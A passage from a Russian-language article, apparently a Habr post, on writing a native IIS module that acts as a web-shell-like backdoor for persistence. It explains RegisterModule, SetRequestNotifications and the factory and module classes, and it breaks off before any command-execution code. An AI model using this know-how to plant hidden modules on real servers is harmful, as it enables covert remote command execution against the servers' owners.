title=\"\u0414\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440 \u0441\u043b\u0443\u0436\u0431 IIS\" width=\"1166\" height=\"855\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/fa2\/de6\/f20\/fa2de6f201856d3f06762bba6f0c72dd.png\"\/><\/p>\n<div><figcaption>\u0414\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440 \u0441\u043b\u0443\u0436\u0431 IIS<\/figcaption><\/div>\n<\/figure>\n<p>\u0421\u0430\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u0435\u043d \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u0443: \u0435\u0441\u043b\u0438 \u0438\u0434\u0451\u0442 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u043c\u0443 \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u0443 \u0441 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u043c\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438, \u0442\u043e \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430.<\/p>\n<h2>\u041e\u0431\u0449\u0438\u0439 \u043a\u043e\u043d\u0446\u0435\u043f\u0442<\/h2>\n<p>\u042f \u043f\u043e\u043d\u0438\u043c\u0430\u044e, \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0441\u0448\u0438\u0440\u0438\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0432 Windows. \u0412\u0441\u0451 \u043e\u0441\u043d\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0438 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 DLL-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0441 \u043d\u0443\u0436\u043d\u044b\u043c\u0438 \u043c\u0435\u0442\u043e\u0434\u0430\u043c\u0438. \u041f\u043e\u0441\u043b\u0435 \u0435\u0451 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u0432 IIS \u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u0435\u0451 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u044f, \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0449\u0438\u0435\u0441\u044f \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0433\u043e HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u0430. <\/p>\n<p>\u0427\u0442\u043e\u0431\u044b \u043c\u044b \u0441\u043c\u043e\u0433\u043b\u0438 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0430\u0448\u0443 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u0432 IIS, \u043e\u043d\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u044e <code>RegisterModule()<\/code> \u0441\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u043e\u043c:<\/p>\n<pre><code class=\"cpp\">HRESULT __stdcall RegisterModule(     DWORD dwServerVersion,     IHttpModuleRegistrationInfo*   pModuleInfo,     IHttpServer*               pHttpServer )<\/code><\/pre>\n<p><code>dwServerVersion<\/code> \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u044e \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f. <code>IHttpModuleRegistratioInfo<\/code> \u2014 \u044d\u0442\u043e \u0442\u0430\u043a \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441. \u0414\u043b\u044f \u043d\u0435\u0438\u0441\u043a\u0443\u0448\u0451\u043d\u043d\u044b\u0445 \u043e\u0442\u043c\u0435\u0447\u0443, \u0447\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0432 \u041e\u041e\u041f \u043c\u043e\u0436\u043d\u043e \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c \u043a\u043b\u0430\u0441\u0441\u0430 \u043f\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432. \u041e\u0442\u043b\u0438\u0447\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c <a href=\"https:\/\/www.youtube.com\/watch?v=3rUgmjfwS_o\">\u0442\u0443\u0442<\/a>. <\/p>\n<p>\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043e\u0431\u0440\u0430\u0449\u0430\u044f\u0441\u044c \u043a \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 <code>pModuleInfo<\/code> (\u043e\u043d\u0430 \u0431\u0443\u0434\u0435\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0430\u0448 \u043c\u043e\u0434\u0443\u043b\u044c \u0432 IIS), \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0438\u0437\u0432\u043b\u0435\u0447\u044c \u0438\u043c\u044f \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043c\u043e\u0434\u0443\u043b\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/ihttpmoduleregistrationinfo-getname-method\">GetName()<\/a>, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0435\u0433\u043e ID \u0447\u0435\u0440\u0435\u0437 <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/ihttpmoduleregistrationinfo-getid-method\">GetId()<\/a>, \u043d\u043e \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 (\u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0447\u0442\u043e \u043d\u0430\u043c \u0438 \u043d\u0443\u0436\u043d\u043e) \u2014 \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u0447\u0435\u0440\u0435\u0437 <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/ihttpmoduleregistrationinfo-setrequestnotifications-method\">SetRequestNotifications()<\/a>.<\/p>\n<p>\u0415\u0449\u0451 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0437\u0430\u0446\u0438\u044e, \u043d\u043e \u043e\u043d\u0430 \u043d\u0430\u043c \u043d\u0435 \u043e\u0441\u043e\u0431\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430. \u0425\u043e\u0442\u044f \u0435\u0441\u043b\u0438 \u0432\u044b \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u0435\u0442\u0435 \u043f\u0438\u0441\u0430\u0442\u044c \u0432\u044b\u0441\u043e\u043a\u043e\u043d\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0439 \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u2026<\/p>\n<p>\u0412\u043f\u0440\u043e\u0447\u0435\u043c, \u0432\u0435\u0440\u043d\u0451\u043c\u0441\u044f \u043a <code>SetRequestNotifications()<\/code>.<\/p>\n<pre><code class=\"cpp\">virtual HRESULT SetRequestNotifications(      IN IHttpModuleFactory* pModuleFactory,      IN DWORD dwRequestNotifications,      IN DWORD dwPostRequestNotifications   ) = 0;<\/code><\/pre>\n<p>\u042d\u0442\u043e \u0442\u0430\u043a \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u0430\u044f **<a href=\"https:\/\/metanit.com\/cpp\/tutorial\/5.12.php\">\u0447\u0438\u0441\u0442\u043e \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f<\/a>**. \u0415\u0451 \u043b\u043e\u0433\u0438\u043a\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u043a\u0430\u043a\u043e\u043c-\u0442\u043e \u043a\u043b\u0430\u0441\u0441\u0435. \u0412 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u043c\u043e\u0436\u043d\u043e, \u043e\u0431\u0440\u0430\u0442\u0438\u0432\u0448\u0438\u0441\u044c \u043a <code>pModuleInfo<\/code>. \u0421\u0430\u043c\u0430 \u0436\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b:<\/p>\n<ul>\n<li>\n<p><code>pModuleFactory<\/code><strong> <\/strong>\u2014 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 \u043a\u043b\u0430\u0441\u0441\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u044f\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/ihttpmodulefactory-interface\">IHttpModuleFactory<\/a>. \u0422\u043e \u0435\u0441\u0442\u044c \u043c\u044b \u043f\u0440\u043e\u0441\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u044b \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043a\u043b\u0430\u0441\u0441, \u0443\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043e\u043d \u0443\u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d \u043e\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430, \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0432 \u044d\u0442\u043e\u043c \u043a\u043b\u0430\u0441\u0441\u0435 \u043c\u0435\u0442\u043e\u0434\u044b <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/ihttpmodulefactory-gethttpmodule-method\">GetHttpModule<\/a> \u0438 <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/ihttpmodulefactory-terminate-method\">Terminate<\/a><\/p>\n<\/li>\n<li>\n<p><code>dwRequestNotifications<\/code> \u2014 \u0431\u0438\u0442\u043e\u0432\u0430\u044f \u043c\u0430\u0441\u043a\u0430, \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u044e\u0449\u0430\u044f \u0432\u0441\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f IIS Module. \u041d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0442 <code>RQ_SEND_RESPONSE<\/code> \u0438 <code>RQ_BEGIN_REQUEST<\/code>. \u0412\u0435\u0441\u044c \u0441\u043f\u0438\u0441\u043e\u043a \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/request-processing-constants\">\u0442\u0443\u0442<\/a><\/p>\n<\/li>\n<li>\n<p><code>dwPostRequestNotifications<\/code> \u2014 \u0431\u0438\u0442\u043e\u0432\u0430\u044f \u043c\u0430\u0441\u043a\u0430, \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u044e\u0449\u0430\u044f \u0432\u0441\u0435 \u0442\u0430\u043a \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0435 post-event-\u0441\u043e\u0431\u044b\u0442\u0438\u044f. \u042d\u0442\u0443 \u043c\u0430\u0441\u043a\u0443 \u0443\u0434\u043e\u0431\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0447\u0435\u0433\u043e-\u0442\u043e, \u0447\u0442\u043e \u0443\u0436\u0435 \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e \u043d\u0430 IIS. \u041d\u0430\u0441 \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043d\u0435 \u043e\u0441\u043e\u0431\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u0442\u0430\u0432\u0438\u043c 0<\/p>\n<\/li>\n<\/ul>\n<p>\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f <code>RegisterModule()<\/code> \u0434\u043e\u043b\u0436\u043d\u0430 \u0432\u0435\u0440\u043d\u0443\u0442\u044c <code>S_OK<\/code>.<\/p>\n<p>\u041b\u043e\u0433\u0438\u0447\u043d\u044b\u0439 \u0432\u043e\u043f\u0440\u043e\u0441: \u00ab\u0413\u0434\u0435 \u0436\u0435 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0441\u043e\u0431\u044b\u0442\u0438\u044f?\u00bb. \u0418 \u043f\u0435\u0440\u0435\u0434 \u0442\u0435\u043c \u043a\u0430\u043a \u043d\u0430 \u043d\u0435\u0433\u043e \u043e\u0442\u0432\u0435\u0442\u0438\u0442\u044c, \u043d\u0443\u0436\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0441\u043e \u0432\u0441\u0435\u043c\u0438 \u043a\u043b\u0430\u0441\u0441\u0430\u043c\u0438 \u0438 \u0444\u0430\u0431\u0440\u0438\u043a\u0430\u043c\u0438.<\/p>\n<h2>\u041a\u043b\u0430\u0441\u0441, \u0444\u0430\u0431\u0440\u0438\u043a\u0430, \u043f\u043b\u0435\u043c\u044f \u0438 \u0431\u0435\u0434\u043d\u044b\u0439 \u0438\u0443\u0434\u0435\u0439<\/h2>\n<p>\u0412 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <code>SetRequestNotification()<\/code> \u043d\u0430\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043f\u0435\u0440\u0432\u044b\u043c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 \u043a\u043b\u0430\u0441\u0441\u0430, \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u044f\u044e\u0449\u0435\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/ihttpmodulefactory-interface\">IHttpModuleFactory<\/a>. \u041d\u0430\u0448 \u043a\u043b\u0430\u0441\u0441 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043a\u0430\u043a\u0438\u043c \u0443\u0433\u043e\u0434\u043d\u043e, \u0433\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e\u0431\u044b \u0432 \u043d\u0451\u043c \u0431\u044b\u043b\u0430 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0434\u0432\u0443\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432: <code>GetHttpModule()<\/code> \u0438 <code>Terminate()<\/code>.<\/p>\n<p>\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043d\u0430\u0437\u043e\u0432\u0451\u043c \u043a\u043b\u0430\u0441\u0441 \u043d\u0435\u043e\u0447\u0435\u0432\u0438\u0434\u043d\u044b\u043c \u0438\u043c\u0435\u043d\u0435\u043c <code>CHttpModuleFactory<\/code>.<\/p>\n<pre><code class=\"cpp\">class CHttpModuleFactory : public IHttpModuleFactory { public:      HRESULT GetHttpModule( OUT CHttpModule** ppModule, IN IModuleAllocator* pAllocator) {     ... \u0437\u0434\u0435\u0441\u044c \u043a\u043e\u0434 ... }  void Terminate() {     delete this; } };<\/code><\/pre>\n<p>\u041c\u0435\u0442\u043e\u0434 <code>GetHttpModule()<\/code> \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c\u0441\u044f \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437, \u043a\u043e\u0433\u0434\u0430 \u043d\u0430 IIS \u043f\u043e\u0441\u0442\u0443\u043f\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441, \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0431\u044b\u043b\u0430 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0430. <code>Terminate()<\/code> \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u043a\u043e\u043d\u0446\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430.<\/p>\n<p>\u0412\u043d\u0443\u0442\u0440\u0438 <code>GetHttpModule()<\/code> \u043d\u0430\u0448 \u043a\u043b\u0430\u0441\u0441 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 \u043a\u043b\u0430\u0441\u0441\u0430 <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/chttpmodule-class\">CHttpModule<\/a> \u0438 \u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e <code>ppModule<\/code>. \u0418\u043c\u0435\u043d\u043d\u043e \u043a\u043b\u0430\u0441\u0441 <code>CHttpModule<\/code> \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b \u043f\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 IIS, \u0435\u0433\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e \u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u043c \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u0447\u043d\u043e\u043c \u0444\u0430\u0439\u043b\u0435 <code>httpserv.h<\/code>.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/bf5\/4b0\/6c4\/bf54b06c495a4a2c5d0d078a17701d21.png\" alt=\"\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 CHttpModule\" title=\"\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 CHttpModule\" width=\"1374\" height=\"917\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/bf5\/4b0\/6c4\/bf54b06c495a4a2c5d0d078a17701d21.png\"\/><\/p>\n<div><figcaption>\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 CHttpModule<\/figcaption><\/div>\n<\/figure>\n<p>\u0415\u0441\u043b\u0438 \u0433\u043b\u044f\u043d\u0435\u043c \u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <code>OutputDebugString()<\/code>, \u0442\u043e \u043f\u043e\u0439\u043c\u0451\u043c, \u0447\u0442\u043e \u043c\u0430\u043b\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 \u043a\u043b\u0430\u0441\u0441\u0430 \u2014 \u043c\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u043f\u0440\u0435\u0434\u0443\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u043c\u0435\u0442\u043e\u0434\u0430 \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u0441\u043e\u0431\u044b\u0442\u0438\u044f. \u041f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u043a\u043e\u0434 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u043c\u0435\u0442\u043e\u0434\u0430 \u043c\u043e\u0436\u043d\u043e \u0434\u043e\u0447\u0435\u0440\u043d\u0438\u043c \u043a\u043b\u0430\u0441\u0441\u043e\u043c, \u043d\u0430\u0437\u043e\u0432\u0451\u043c \u0435\u0433\u043e <code>CChildHttpModule<\/code>.<\/p>\n<p>\u0412 \u0441\u0430\u043c\u043e\u043c \u043a\u043b\u0430\u0441\u0441\u0435 \u043f\u043e\u043a\u0430 \u043f\u0440\u043e\u043f\u0438\u0448\u0435\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u044b \u043c\u0435\u0442\u043e\u0434\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u0443\u0434\u0435\u043c \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0442\u044c. \u041d\u043e \u043e\u0447\u0435\u043d\u044c \u0445\u043e\u0440\u043e\u0448\u0430\u044f \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430, \u043d\u0430 \u043c\u043e\u0439 \u0432\u0437\u0433\u043b\u044f\u0434, \u0432\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434 \u043c\u0435\u0442\u043e\u0434\u0430 \u0432 <code>.h<\/code>-\u0444\u0430\u0439\u043b \u2014 \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0437\u043d\u0438\u043a\u043d\u0443\u0442\u044c \u043a\u0430\u043a\u0430\u044f-\u043d\u0438\u0431\u0443\u0434\u044c LNK*-\u043e\u0448\u0438\u0431\u043a\u0430.<\/p>\n<pre><code class=\"cpp\">class CChildHttpModule : public CHttpModule { public: REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss);   };<\/code><\/pre>\n<p>\u0412\u043d\u0443\u0442\u0440\u0438 <code>GetHttpModule()<\/code> \u043f\u0440\u0435\u0434\u0443\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043a\u043e\u0434 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430 \u043a\u043b\u0430\u0441\u0441\u0430 <code>CChildHttpModule<\/code>.<\/p>\n<pre><code class=\"cpp\">class CHttpModuleFactory : public IHttpModuleFactory { public:      HRESULT GetHttpModule( OUT CHttpModule** ppModule, IN IModuleAllocator*) {     CChildHttpModule* pModule = new CChildHttpModule();     *ppModule = pModule;     pModule = NULL;     return S_OK; }  void Terminate() {     delete this; } };<\/code><\/pre>\n<p>\u0415\u0441\u043b\u0438 \u043f\u043e\u0434\u0432\u0435\u0441\u0442\u0438 \u0447\u0435\u0440\u0442\u0443, \u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044e\u0442 \u043f\u0430\u0442\u0442\u0435\u0440\u043d \u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0439 \u00ab\u0444\u0430\u0431\u0440\u0438\u043a\u043e\u0439\u00bb (\u043e\u0442\u0441\u044e\u0434\u0430 \u0438 \u0432\u0441\u044f\u043a\u0438\u0435 <code>*Factory<\/code> \u0432 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f\u0445 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043e\u0432). \u042d\u0442\u043e\u0442 \u043f\u0430\u0442\u0442\u0435\u0440\u043d \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043e\u0431\u044a\u0435\u043a\u0442 (\u043e\u043d \u0438 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0444\u0430\u0431\u0440\u0438\u043a\u043e\u0439) \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0434\u0440\u0443\u0433\u0438\u0445 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432. \u0410 \u0437\u0430\u0442\u0435\u043c, \u043f\u0440\u0438 